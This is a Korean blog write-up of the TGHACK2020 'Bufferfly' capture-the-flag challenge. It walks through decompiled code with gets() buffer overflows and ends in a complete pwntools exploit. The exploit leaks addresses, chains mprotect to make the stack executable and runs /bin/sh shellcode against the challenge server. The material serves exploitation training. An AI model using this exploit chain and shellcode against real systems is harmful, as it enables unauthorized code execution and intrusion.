TGHACK2020] Bufferfly

노션으로 옮김·2020년 4월 13일
1

Study

목록 보기
18/33
post-thumbnail

문제

Bufferfly

We've been hunting the space goblins for quite some time now. However, we're still having some trouble identifying their leader. In our last mission, we found a mysterious-looking chest that we think might contain some useful information. Could you help us open it?

nc bufferfly.tghack.no 6002


풀이

분석

IDA로 코드를 확인하자.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts("The chest glows with a faint blue tint. When you touch it, a computery voice echoes:");
  if ( open_chest() )
    talk_to_chest();
  return 0;
}

open_chest()의 결과로 talk_to_chest()가 실행된다.

int open_chest()
{
  bool v0; // al@3
  voice_recognizer voice; // [sp+9h] [bp-1Fh]@1
  _Bool conditions_met; // [sp+1Fh] [bp-9h]@5

  voice.bubble = 1;
  voice.characteristics = 37;
  puts("\"Welcome! Please identify yourself.\"");
  gets(voice.words);
  v0 = voice.characteristics == 25 && voice.bubble != 1;
  conditions_met = v0;
  if ( v0 )
    puts("\"Unlocking... Please wait...\"");
  else
    puts("\"Wow, your voice is seems off. Not letting you in.\"");
  return conditions_met;
}

구조체 값을 입력받는데, 입력받는 대상 요소인 voice.words가 아니라
voice.characteristicsvoice.bubble의 값을 비교하고 있다.

하지만, gets()로 입력받기 때문에 오버플로우로 해당 값을 조건에 맞게 변경시킬 수 있다.

void talk_to_chest()
{
  char second[20]; // [sp+Ch] [bp-1Ch]@1

  setvbuf(stdout, 0, 2, 0);
  printf(
    "The chest opens up and a small, rusty laptop is unveiled\n"
    "\"Hi, old goblin-friend! Remember the last time we saw each other? We were hanging at our supersecret base, you know"
    ", the one at %p!\n"
    " Ah yes, good times!\"",
    supersecret_base);
  printf("The screen flickers and the computer dies. Were do you ");
  puts("wanna go now?");
  gets(second);
}

supersecret_base()의 주소를 출력해준 후 second를 입력받는데. 이것 역시 오버플로우가 발생한다.

오버플로우로 ret를 조작하여 supersecret_base()를 호출시켜야 한다.

void supersecret_base()
{
  _x86_get_pc_thunk_ax();
  open_door();
}

open_door()를 호출하고 있다.

void open_door()
{
  char done[12]; // [sp+8h] [bp-50h]@1
  char buf[60]; // [sp+14h] [bp-44h]@1

  setvbuf(stdout, 0, 2, 0);
  puts("As you walk closer, it is clear that the base belongs to the space goblins. On the wall, there are depictions of a female goblin wearing a crown with the name \"Boblinessa\" written below.\nA similar chest as the one you found earlier lies on the table. It opens for the same voice input as the first chest you found.");
  memset(buf, 0, sizeof(buf));
  *done = 0;
  *&done[4] = 0;
  *&done[8] = 0;
  puts("\"Hi, I'm the Boblinessa cult encyclopedia!\"");
  puts("\"So, what where you looking for?\"");
  while ( gets(buf) )
  {
    if ( !strcmp(buf, "open_door") )
    {
      printf("Oh, that's right here: %p.\n", open_door);
    }
    else if ( !strcmp(buf, "mprotec") )
    {
      printf("Ah yes, our sweet Boblinessa. She protec. She protecs right here in fact: %p.\n", &mprotect);
    }
    else if ( !strcmp(buf, "mattac") )
    {
      printf(
        "What?! No, she would never do that...\nAlso I'm hiding here: %p. She wouldn't even find me here...\n",
        buf);
    }
    else
    {
      if ( !strcmp(buf, "quit") )
      {
        puts("Ta ta for now!");
        return;
      }
      puts("I don't think we have access to that right now...");
    }
    puts("\nOkay, so do you wanna see anything else or are you done?");
    gets(done);
    if ( !strcmp(done, "done") )
      return;
    puts("\"So, what where you looking for?\"");
  }
}

계속해서 입력을 받는데 특정 문자열을 입력하면 buf의 주소와 mprotect()의 주소값을 출력해준다.

위 두 개의 정보를 알려준다는건 buf의 메모리 속성을 mprotect로 변경시켜 buf에 쉘코드를 입력하여 실행하라는 얘기다.

마찬가지로 gets()로 입력을 받아 오버플로우가 발생하기 때문에 체인을 연결하여 페이로드를 작성하면 되겠다.

페이로드

주소값을 얻었다고 가정한 후의 페이로드를 작성하자.

먼저 mprotect()를 호출하여 buf의 스택메모리에 실행권한을 추가하고 p3ret 가젯으로 인자를 정리한 후에, 쉘코드가 있는 buf의 주소로 최종 분기시키면 되겠다.

from pwn import *
import time
import re
context.update(arch='i386', os='linux', log_level='debug')


p = remote('bufferfly.tghack.no', 6002)
#p = process('bufferfly')


def _recv(t):
    global p
    time.sleep(1)
    data = p.recvrepeat(t)
    return data

def findAddr(strs):
    reg = re.compile('0x[a-f0-9]{7,8}')
    mt = reg.findall(strs)
    return int(mt[0], 16)


_recv(0.2)

#raw_input('debugging')
p.sendline('a'*17+'\x00'+p32(25))

data = _recv(0.2)
print data

addr_secret = findAddr(data)


p.sendline('a'*0x1c+'A'*4 + p32(addr_secret)) 

_recv(0.2)

p.sendline('mattac')


data =_recv(0.2)
print data

addr_buf = findAddr(data)


p.sendline('')
data = _recv(0.2)
print data

p.sendline('mprotec')

data = _recv(0.2)
print data
addr_mprotect = findAddr(data)


offset_secret = 0x805
addr_base = addr_secret - offset_secret
offset_p3ret = 0x801
#mprotect
arg0_mp = p32(addr_buf & ~(4096-1))
log.info('pageboundary: '+ arg0_mp)
arg1_mp = p32(4096)
arg2_mp = p32(7)

#shellcode = asm(shellcraft.i386.linux.sh()) #error
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89"
shellcode +=  "\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode +=  "\xcd\x80\x31\xc0\x40\xcd\x80";

log.info(shellcode.encode('hex'))

p.sendline('')

_recv(0.2)

size_toRET = 72
payload = shellcode
payload += '\x90'*(size_toRET - len(shellcode))
payload += p32(addr_mprotect) + p32(addr_base + offset_p3ret) + arg0_mp + arg1_mp + arg2_mp + p32(addr_buf)

p.sendline(payload)


p.interactive()

log.info(hex(addr_mprotect))

0개의 댓글